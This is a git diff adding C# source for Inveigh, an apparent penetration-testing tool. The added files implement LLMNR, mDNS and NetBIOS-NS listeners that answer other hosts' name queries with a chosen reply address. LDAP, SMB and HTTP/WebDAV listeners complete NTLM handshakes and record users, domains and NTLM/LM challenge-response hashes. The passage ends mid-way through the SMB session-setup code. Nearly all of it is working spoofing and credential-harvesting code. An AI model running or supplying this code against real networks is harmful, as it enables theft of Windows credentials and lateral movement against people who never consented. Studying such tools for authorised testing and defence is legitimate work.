+ response.Message = Encoding.UTF8.GetBytes("<?xml version=\"1.0\" encoding=\"utf-8\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://" + sourceIP + request.URI + "</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype/><D:getlastmodified>" + currentTime.ToString("R") + "</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>webdav</D:displayname><D:getcontentlanguage/><D:getcontentlength>0</D:getcontentlength><D:iscollection>1</D:iscollection><D:creationdate>" + currentTime.ToString("yyyy-MM-ddThh:mm:ss.fffZ") + "</D:creationdate><D:resourcetype><D:collection/></D:resourcetype></D:prop></D:propstat></D:response></D:multistatus>");
+ }
+ else
+ {
+ response.ContentType = "text/plain";
+ }
+
+ }
+
+ }
+
+ }
+
+ byte[] buffer = response.GetBytes();
+
+ if (type.Equals("HTTPS") && httpsStream.CanRead)
+ {
+ httpsStream.Write(buffer, 0, buffer.Length);
+ httpsStream.Flush();
+ }
+ else if (httpStream.CanRead)
+ {
+ httpStream.Write(buffer, 0, buffer.Length);
+ httpStream.Flush();
+ }
+
+ if (isClientClose)
+ {
+
+ if (type.Equals("Proxy"))
+ {
+ tcpClient.Client.Close();
+ }
+ else
+ {
+ tcpClient.Close();
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+ protected virtual void OutputUserAgent(string protocol, string listenerPort, string clientIP, string clientPort, string userAgent)
+ {
+
+ }
+
+ protected virtual void OutputChallenge(string protocol, string listenerPort, string clientIP, string clientPort, string challenge)
+ {
+
+ }
+
+ protected virtual void OutputHostHeader(string protocol, string listenerPort, string clientIP, string clientPort, string hostHeader)
+ {
+
+ }
+
+ protected virtual void OutputRequestMethod(string protocol, string listenerPort, string clientIP, string clientPort, string uri, string method)
+ {
+
+ }
+
+ protected virtual void OutputCleartext(string protocol, string listenerPort, string clientIP, string clientPort, string credentials)
+ {
+
+ }
+
+ protected virtual void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash)
+ {
+
+ }
+
+ protected virtual void OutputIgnore(string protocol, string listenerPort, string clientIP, string clientPort, string message)
+ {
+
+ }
+ protected virtual void OutputError(Exception ex, string protocol, int port)
+ {
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LDAPListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LDAPListener.cs
new file mode 100644
index 0000000..b3ea8f6
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LDAPListener.cs
@@ -0,0 +1,233 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.LDAP;
+using Quiddity.NTLM;
+using Quiddity.Support;
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+
+namespace Quiddity
+{
+ class LDAPListener
+ {
+
+ public string Challenge { get; set; }
+ public string NetbiosDomain { get; set; }
+ public string ComputerName { get; set; }
+ public string DNSDomain { get; set; }
+
+ public static bool isRunning = false;
+
+ internal void Start(IPAddress ipAddress, int port)
+ {
+ TCPListener tcpListener = new TCPListener(ipAddress, port);
+ IAsyncResult tcpAsync;
+
+ try
+ {
+ tcpListener.Start();
+ isRunning = true;
+
+ if (tcpListener.Server.IsBound)
+ {
+
+ while (isRunning)
+ {
+
+ try
+ {
+ tcpAsync = tcpListener.BeginAcceptTcpClient(null, null);
+
+ do
+ {
+ Thread.Sleep(10);
+
+ if (!isRunning)
+ {
+ break;
+ }
+
+ }
+ while (!tcpAsync.IsCompleted);
+
+ TcpClient tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync);
+ object[] parameters = { tcpClient };
+ ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex, port);
+ }
+
+ }
+
+ }
+
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex, port);
+ }
+
+ }
+
+ internal void ReceiveClient(object parameters)
+ {
+ object[] parameterArray = parameters as object[];
+ TcpClient tcpClient = (TcpClient)parameterArray[0];
+ NetworkStream tcpStream = tcpClient.GetStream();
+ string ntlmChallenge = "";
+ string clientIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString();
+ string clientPort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString();
+ string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString();
+
+ while (tcpClient.Connected && isRunning)
+ {
+ byte[] requestData = new byte[4096];
+
+ do
+ {
+ Thread.Sleep(100);
+ }
+ while (!tcpStream.DataAvailable && tcpClient.Connected);
+
+ while (tcpStream.DataAvailable)
+ {
+ tcpStream.Read(requestData, 0, requestData.Length);
+ }
+
+ LDAPMessage message = new LDAPMessage();
+ message.Decode(requestData);
+ LDAPMessage message2 = new LDAPMessage();
+ message2.MessageID = message.MessageID;
+ byte[] buffer = new byte[0];
+ OutputConnection(listenerPort, clientIP, clientPort, message.Tag);
+
+ if (message.Tag == 3)
+ {
+ LDAPMessage message3 = new LDAPMessage();
+ message3.MessageID = message.MessageID;
+ LDAPSearchRequest searchRequest = new LDAPSearchRequest();
+ searchRequest.ReadBytes((byte[][])message.ProtocolOp);
+
+ LDAPSearchResDone resdone = new LDAPSearchResDone();
+ resdone.ResultCode = 0;
+ LDAPSearchResEntry search = new LDAPSearchResEntry();
+
+ if (String.Equals(searchRequest.Attributes[0], "supportedCapabilities"))
+ {
+ LDAPSupportedCapabilities cap = new LDAPSupportedCapabilities();
+ search.Attributes = cap.Encode();
+ }
+ else if (String.Equals(searchRequest.Attributes[0], "supportedSASLMechanisms"))
+ {
+ LDAPSupportedSASLMechanisms mech = new LDAPSupportedSASLMechanisms();
+ search.Attributes = mech.Encode();
+ }
+
+ message2.ProtocolOp = search;
+ message3.ProtocolOp = resdone;
+ buffer = Utilities.BlockCopy(message2.Encode(4), message3.Encode(5));
+ }
+ else if (message.Tag == 0)
+ {
+ LDAPBindRequest bind = new LDAPBindRequest();
+ bind.ReadBytes((byte[][])message.ProtocolOp);
+ LDAPSaslCredentials sasl = new LDAPSaslCredentials();
+ sasl.ReadBytes(bind.Authentication);
+ NTLMNegotiate ntlm = new NTLMNegotiate();
+ ntlm.ReadBytes(sasl.Credentials, 0);
+
+ if (ntlm.MessageType == 1)
+ {
+ NTLMChallenge challenge = new NTLMChallenge(Challenge, NetbiosDomain, ComputerName, DNSDomain, ComputerName, DNSDomain);
+ byte[] challengeData = challenge.GetBytes(ComputerName);
+ ntlmChallenge = BitConverter.ToString(challenge.ServerChallenge).Replace("-", "");
+
+ LDAPBindResponse bindResponse = new LDAPBindResponse
+ {
+ ServerSaslCreds = challengeData
+ };
+
+ LDAPMessage bindMessage = new LDAPMessage
+ {
+ MessageID = message.MessageID,
+ ProtocolOp = bindResponse
+ };
+
+ buffer = bindMessage.Encode(3);
+ OutputChallenge(listenerPort, clientIP, clientPort, ntlmChallenge);
+ }
+ else if (ntlm.MessageType == 3)
+ {
+ NTLMResponse ntlmResponse = new NTLMResponse(sasl.Credentials, false);
+ string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
+ string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
+ string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
+ string response2 = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
+ string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
+ OutputNTLM("LDAP", listenerPort, clientIP, clientPort, user, domain, host, ntlmChallenge, response2, lmResponse);
+ }
+
+ }
+
+ tcpStream.Write(buffer, 0, buffer.Length);
+ tcpStream.Flush();
+ }
+
+ }
+
+ protected virtual void OutputConnection(string listenerPort, string clientIP, string clientPort, int tag)
+ {
+
+ }
+
+ protected virtual void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash)
+ {
+
+ }
+
+ protected virtual void OutputChallenge(string listenerPort, string clientIP, string clientPort, string challenge)
+ {
+
+ }
+
+ protected virtual void OutputError(Exception ex, int port)
+ {
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LLMNRListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LLMNRListener.cs
new file mode 100644
index 0000000..a16d513
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LLMNRListener.cs
@@ -0,0 +1,101 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.LLMNR;
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class LLMNRListener : DNSListener
+ {
+
+ public LLMNRListener()
+ {
+ this.TTL = 300;
+ }
+
+ public new void Start(IPAddress ipAddress, string replyIP, string replyIPv6)
+ {
+ UDPListener listener = new UDPListener(AddressFamily.InterNetwork);
+ IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 5355);
+
+ if (String.Equals(ipAddress.AddressFamily.ToString(), "InterNetwork"))
+ {
+ listener.JoinMulticastGroup(IPAddress.Parse("224.0.0.252"));
+ }
+ else
+ {
+ listener = new UDPListener(AddressFamily.InterNetworkV6);
+ listener.JoinMulticastGroup(IPAddress.Parse("ff02::1:3"));
+ }
+
+ listener.Client.Bind(ipEndPoint);
+
+ while (true)
+ {
+
+ try
+ {
+ byte[] receiveBuffer = listener.Receive(ref ipEndPoint);
+ ProcessRequest(receiveBuffer, listener, ipEndPoint, replyIP, replyIPv6);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex);
+ }
+
+ }
+
+ }
+
+ protected override void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string replyIP, string replyIPv6)
+ {
+ string clientIP = ipEndPoint.Address.ToString();
+ LLMNRPacket packet = new LLMNRPacket(data);
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer = packet.GetBytes(this.TTL, replyIP, replyIPv6);
+ SendTo(buffer, udpListener, ipEndPoint);
+ }
+
+ Output("LLMNR", clientIP, packet.Question.Name, packet.Question.Type, message);
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/MDNSListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/MDNSListener.cs
new file mode 100644
index 0000000..973329b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/MDNSListener.cs
@@ -0,0 +1,117 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.MDNS;
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class MDNSListener : DNSListener
+ {
+ public bool UnicastOnly { get; set; }
+
+ public MDNSListener()
+ {
+ this.TTL = 120;
+ }
+
+ public MDNSListener(uint ttl, bool unicastOnly)
+ {
+ this.TTL = ttl;
+ this.UnicastOnly = unicastOnly;
+ }
+
+ public new void Start(IPAddress ipAddress, string replyIP, string replyIPv6)
+ {
+ UDPListener listener = new UDPListener(AddressFamily.InterNetwork);
+ IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 5353);
+
+ if (string.Equals(ipAddress.AddressFamily.ToString(), "InterNetwork"))
+ {
+ listener.JoinMulticastGroup(IPAddress.Parse("224.0.0.251"), ipAddress);
+ }
+ else
+ {
+ listener = new UDPListener(AddressFamily.InterNetworkV6);
+ listener.JoinMulticastGroup(IPAddress.Parse("ff02::fb"));
+ }
+
+ listener.Client.Bind(ipEndPoint);
+
+ while (true)
+ {
+
+ try
+ {
+ byte[] receiveBuffer = listener.Receive(ref ipEndPoint);
+ ProcessRequest(receiveBuffer, listener, ipEndPoint, replyIP, replyIPv6);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex);
+ }
+
+ }
+
+ }
+
+ protected override void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string replyIP, string replyIPv6)
+ {
+ string clientIP = ipEndPoint.Address.ToString();
+ MDNSPacket packet = new MDNSPacket(data);
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (Check(packet.Question.Name, packet.Question.QuestionType, packet.Question.Type, clientIP, out string message))
+ {
+
+ if (packet.Question.QuestionType.Equals("QM") && !this.UnicastOnly && string.Equals(ipEndPoint.Address.AddressFamily.ToString(), "InterNetwork"))
+ {
+ ipEndPoint.Address = IPAddress.Parse("224.0.0.251");
+ }
+ else if (packet.Question.QuestionType.Equals("QM") && !this.UnicastOnly && string.Equals(ipEndPoint.Address.AddressFamily.ToString(), "InterNetworkV6"))
+ {
+ ipEndPoint.Address = IPAddress.Parse("ff02::fb");
+ }
+
+ byte[] buffer = packet.GetBytes(this.TTL, replyIP, replyIPv6);
+ SendTo(buffer, udpListener, ipEndPoint);
+ }
+
+ Output("mDNS", clientIP, packet.Question.Name, packet.Question.QuestionType, packet.Question.Type, message);
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/NetBIOSNSListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/NetBIOSNSListener.cs
new file mode 100644
index 0000000..f2754d6
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/NetBIOSNSListener.cs
@@ -0,0 +1,95 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.NetBIOS;
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class NetBIOSNSListener : DNSListener
+ {
+ public NetBIOSNSListener()
+ {
+ this.TTL = 165;
+ }
+
+ public NetBIOSNSListener(uint ttl)
+ {
+ this.TTL = ttl;
+ }
+
+ public void Start(IPAddress ipAddress, string replyIP)
+ {
+ UDPListener listener = new UDPListener(AddressFamily.InterNetwork);
+ IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 137);
+
+ listener.Client.Bind(ipEndPoint);
+
+ while (true)
+ {
+
+ try
+ {
+ byte[] receiveBuffer = listener.Receive(ref ipEndPoint);
+ ProcessRequest(receiveBuffer, listener, ipEndPoint, replyIP);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex);
+ }
+
+ }
+
+ }
+
+ protected void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string replyIP)
+ {
+ string clientIP = ipEndPoint.Address.ToString();
+ NetBIOSNSPacket packet = new NetBIOSNSPacket(data);
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer = packet.GetBytes(this.TTL, replyIP);
+ SendTo(buffer, udpListener, ipEndPoint);
+ }
+
+ Output("NBNS", clientIP, packet.Question.Name, packet.Question.Type, message);
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/SMBListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/SMBListener.cs
new file mode 100644
index 0000000..60d4684
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/SMBListener.cs
@@ -0,0 +1,296 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+using Quiddity.NetBIOS;
+using Quiddity.NTLM;
+using Quiddity.SMB;
+using Quiddity.SMB2;
+
+namespace Quiddity
+{
+ class SMBListener
+ {
+ public string Challenge { get; set; }
+ public string NetbiosDomain { get; set; }
+ public string ComputerName { get; set; }
+ public string DNSDomain { get; set; }
+
+ public static bool isRunning = false;
+ public static ulong smb2Session = 5548434740922023936;
+
+ internal void Start(IPAddress ipAddress, int port)
+ {
+ TCPListener tcpListener = new TCPListener(ipAddress, port);
+ IAsyncResult tcpAsync;
+ TcpClient tcpClient;
+ Guid guid = Guid.NewGuid();
+
+ try
+ {
+ tcpListener.Start();
+ isRunning = true;
+
+ if (tcpListener.Server.IsBound)
+ {
+
+ while (isRunning)
+ {
+
+ try
+ {
+ tcpAsync = tcpListener.BeginAcceptTcpClient(null, null);
+
+ do
+ {
+ Thread.Sleep(10);
+
+ if (!isRunning)
+ {
+ break;
+ }
+
+ }
+ while (!tcpAsync.IsCompleted);
+
+ tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync);
+ object[] parameters = { guid, tcpClient };
+ ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex, port);
+ }
+
+ }
+
+ }
+
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex, port);
+ }
+
+ }
+
+ internal void ReceiveClient(object parameters)
+ {
+ object[] parameterArray = parameters as object[];
+ Guid serverGuid = (Guid)parameterArray[0];
+ TcpClient tcpClient = (TcpClient)parameterArray[1];
+ NetworkStream tcpStream = tcpClient.GetStream();
+ bool isSMB2;
+ string challenge = "";
+ string clientIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString();
+ string clientPort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString();
+ string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString();
+
+ while (tcpClient.Connected && isRunning)
+ {
+ byte[] requestData = new byte[4096];
+
+ do
+ {
+ Thread.Sleep(100);
+ }
+ while (!tcpStream.DataAvailable && tcpClient.Connected);
+
+ while (tcpStream.DataAvailable)
+ {
+ tcpStream.Read(requestData, 0, requestData.Length);
+ }
+
+ NetBIOSSessionService requestNetBIOSSessionService = new NetBIOSSessionService(requestData);
+ SMBHelper smbHelper = new SMBHelper();
+
+ if (requestNetBIOSSessionService.Type == 0 || smbHelper.Protocol[0] == 0xfe || smbHelper.Protocol[0] == 0xff)
+ {
+ int sessionServiceIndex = 0;
+
+ if (requestNetBIOSSessionService.Type == 0)
+ {
+ sessionServiceIndex = 4;
+ }
+
+ byte[] sendBuffer = new byte[0];
+ SMBHeader requestSMBHeader = new SMBHeader();
+ SMB2Header requestSMB2Header = new SMB2Header();
+ smbHelper.ReadBytes(requestData, sessionServiceIndex);
+
+ if (smbHelper.Protocol[0] == 0xfe)
+ {
+ isSMB2 = true;
+ requestSMB2Header.ReadBytes(requestData, sessionServiceIndex);
+ }
+ else
+ {
+ isSMB2 = false;
+ requestSMBHeader.ReadBytes(requestData, sessionServiceIndex);
+ }
+
+ if (!isSMB2 && requestSMBHeader.Command == 0x72 || (isSMB2 && requestSMB2Header.Command == 0))
+ {
+ SMB2NegotiatelRequest smb2NegotiatelRequest = new SMB2NegotiatelRequest(requestData, 64 + sessionServiceIndex);
+ SMB2Header responseSMB2Header = new SMB2Header();
+ SMB2NegotiateResponse smb2NegotiateResponse = new SMB2NegotiateResponse();
+
+ if (!isSMB2)
+ {
+ smb2NegotiateResponse.DialectRivision = new byte[2] { 0xff, 0x02 };
+ smb2NegotiateResponse.Capabilities = new byte[4] { 0x07, 0x00, 0x00, 0x00 };
+ OutputNegotiation("SMB1", listenerPort, clientIP, clientPort);
+ }
+ else if (isSMB2)
+ {
+ responseSMB2Header.MessageId = requestSMB2Header.MessageId;
+
+ if (smb2NegotiatelRequest.GetMaxDialect() == 0x311)
+ {
+ smb2NegotiateResponse.DialectRivision = new byte[2] { 0x11, 0x03 };
+ smb2NegotiateResponse.NegotiateContextCount = 3;
+ smb2NegotiateResponse.Capabilities = new byte[4] { 0x2f, 0x00, 0x00, 0x00 };
+ smb2NegotiateResponse.NegotiateContextOffset = 448;
+ smb2NegotiateResponse.NegotiateContextList = new SMB2NegotiateContext().GetBytes(new string[] { "1", "2", "3" });
+ OutputNegotiation("SMB3", listenerPort, clientIP, clientPort);
+ }
+ else
+ {
+ smb2NegotiateResponse.DialectRivision = new byte[2] { 0x10, 0x02 };
+ smb2NegotiateResponse.Capabilities = new byte[4] { 0x07, 0x00, 0x00, 0x00 };
+ OutputNegotiation("SMB2", listenerPort, clientIP, clientPort);
+ }
+
+ responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; // todo fix
+ }
+
+ smb2NegotiateResponse.EncodeBuffer();
+ smb2NegotiateResponse.ServerGUID = serverGuid.ToByteArray();
+ sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2NegotiateResponse);
+ }
+ else if (isSMB2 && requestSMB2Header.Command > 0)
+ {
+
+ switch (requestSMB2Header.Command)
+ {
+
+ case 1:
+ {
+ SMB2SessionSetupRequest smb2SessionSetupRequest = new SMB2SessionSetupRequest(requestData, 64 + sessionServiceIndex);
+ NTLMNegotiate requestNTLMNegotiate = new NTLMNegotiate(smb2SessionSetupRequest.Buffer, true);
+
+ if (requestNTLMNegotiate.MessageType == 1)
+ {
+ SMB2Header responseSMB2Header = new SMB2Header();
+ SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse();
+ responseSMB2Header.Status = new byte[4] { 0x16, 0x00, 0x00, 0xc0 };
+ responseSMB2Header.CreditCharge = 1;
